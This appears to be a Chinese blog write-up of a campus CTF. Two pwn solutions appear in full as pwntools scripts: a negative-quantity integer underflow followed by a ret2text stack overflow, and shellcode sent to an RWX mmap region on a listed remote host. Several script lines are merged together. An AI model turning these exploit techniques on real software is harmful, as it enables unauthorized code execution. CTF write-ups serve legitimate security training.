当前位置: 首页 > news >正文

记录一次校园CTF--wp

一.第一题简单nc

这题直接nc 地址端口即可得到flags没有套路

二.第二题pwn:ezstack

这是一题栈溢出题目,查看保护:

没有开启PIE,运行下查看效果:

题目是一个文字购物游戏。

接着扔进IDA中分析:

在主函数中我们找到了一个类似隐藏的函数:

这个v6参数就是我们输入想要输入的选项,而Vipfun这一后门函数的参数v8就是我们的金币数,一开始我懵了好久。查看Vipfun这个函数:

通过分析看到当金币大于999999的时候,就会执行条件语句,在条件语句里,很明显的看出栈溢出漏洞。而且在IDA中发现了一个后门函数:

那么利用就简单了,我们只需要想办法让金币大于9999999就能造成栈溢出并成功构造一次ret2text,现在关键问题是如何让金币达到9999999呢,在题目游戏中选项3捡垃圾一次是10块钱,不得不说出题人很会玩。这捡垃圾捡到猴年马月去了。我们再看代码:

v4,v8都是无符号整形,那么如果我输入负数,就会造成整形溢出。我们在游戏中测试一下,v4其实是我们买饮料的数量:

我们可以看到,通过整形溢出我们成功让金币大于999999,此时执行1337将进入栈溢出函数

下面是exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *context.log_level = 'debug'
#sh = process('./ezstack')
#gdb.attach(sh,'start')system_addr=0x400aa1
#sh_addr=
sh.recvuntil("天台")
sh.sendline("1")
sh.recvuntil(" (价格: 3元)")
sh.sendline("1")
sh.recvuntil("购买数量: ")
sh.sendline("-99999999")
sh.recvuntil("天台")
sh.sendline("1337")
sh.recvuntil("请输入工厂名字:")
#gdb.attach(sh)#sh.send(p64(payload))
sh.sendline('A' * (0x20+8) + p64(system_addr))
#pause()
sh.interactive()

三.第三题 pwn:shell

查看保护:

64位程序没有开启PIE,IDA中东西也比较少,基本都是系统函数,主函数如下:

根据题目名字猜测,是要我们在某个地址执行shellcode。mmap这个函数的作用是将文件映射进内存。在第三个参数中,表示的是权限。可读可写可执行。1+2+4加起来刚好是7,这么说Mmap返回的地址是一块可读可写可执行的区域。那么我们直接输入shellcode就好了。在pwntool中已经集成了shellcode,我们直接调用即可,exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *
context(os='linux',arch='amd64',terminal=['tmux','sp','-h'])
io = remote("121.40.144.254",10003)shellcode1=shellcraft.sh()
payload1=asm(shellcode1)io.send(payload1)
io.interactive()

四,是一个UAF堆,打本地的时候想岔了没做出来,晚点在复盘。

杂项:

1.做了一题很简单元神启动,题目中描述1+1等于几,我直接F12查看网页源代码得到出题人的1+1等于10,即可得到flags.

2.ezMD5

题目描述给了一个经过MD5转换和base64加密。用工具解密即可得到flags。

以上就是我大致做出来的wp。

http://www.lryc.cn/news/222685.html

相关文章:

  • 基于减法平均算法的无人机航迹规划-附代码
  • C语言--每日五道选择题--Day4
  • OpenCV图片验证码识别与滑块验证码识别
  • 网络安全深入学习第八课——代理与端口转发
  • 11月7日,每日信息差
  • sql异常Encountered unexpected token BINARY
  • P1131 [ZJOI2007] 时态同步
  • springboot(ssm 旅游管理系统 旅游规划平台 Java(codeLW)
  • C++ 构造函数不能是虚函数的原因
  • 【LearnOpenGL基础入门——2】搭建第一个OpenGL窗口
  • 第三章:人工智能深度学习教程-人工智能与机器学习与深度学习之间的区别
  • vue中 process.env 对象为空对象问题
  • uniapp小程序v-for提示“不支持循环数据”
  • CROS错误 403 preflight 预检
  • nginx参数调优能提升多少性能
  • 用友U8 Cloud 反序列化RCE漏洞复现
  • acwing算法基础之数据结构--STL简介
  • 【Python深入学习】- 书籍推荐|数据结构和算法介绍|内建集合数据类型
  • 物联网对接协议
  • 腾讯待办关停,导出的数据怎么恢复到手机上面?
  • 视频特效编辑软件 After Effects 2022 mac中文版介绍 (ae 2022)
  • innovus:解决报告复制时一行拆成两行的问题
  • MySQL数据脱敏(Data masking plugin functions)
  • Flutter 07 框架和三棵树(Widgets、Elements和RenderObjects)
  • EasyExcel 导出冻结指定行
  • ke9案例三:页面提交文件,我服务器端接收
  • springboot调用第三方接口json转换成对象
  • uniapp使用vue3和ts开发小程序自定义tab栏,实现自定义凸出tabbar效果
  • 麒麟信安获批牵头成立国家关键领域信创行业产教融合共同体
  • 好消息,微信消费者投诉工具升级,可以直接回复用户、处理投诉了。。。